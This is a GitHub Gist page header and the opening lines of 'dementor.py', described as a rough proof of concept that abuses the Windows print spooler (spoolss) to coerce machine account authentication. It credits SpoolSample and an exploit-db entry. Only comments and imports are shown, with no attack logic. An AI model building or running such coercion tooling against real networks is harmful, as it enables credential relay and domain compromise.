Skip to content

Instantly share code, notes, and snippets.

@3xocyte
3xocyte / dementor.py
Last active Oct 29, 2021
rough PoC to connect to spoolss to elicit machine account authentication
View dementor.py
#!/usr/bin/env python
# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/
import os
import sys
import argparse
import binascii
import ConfigParser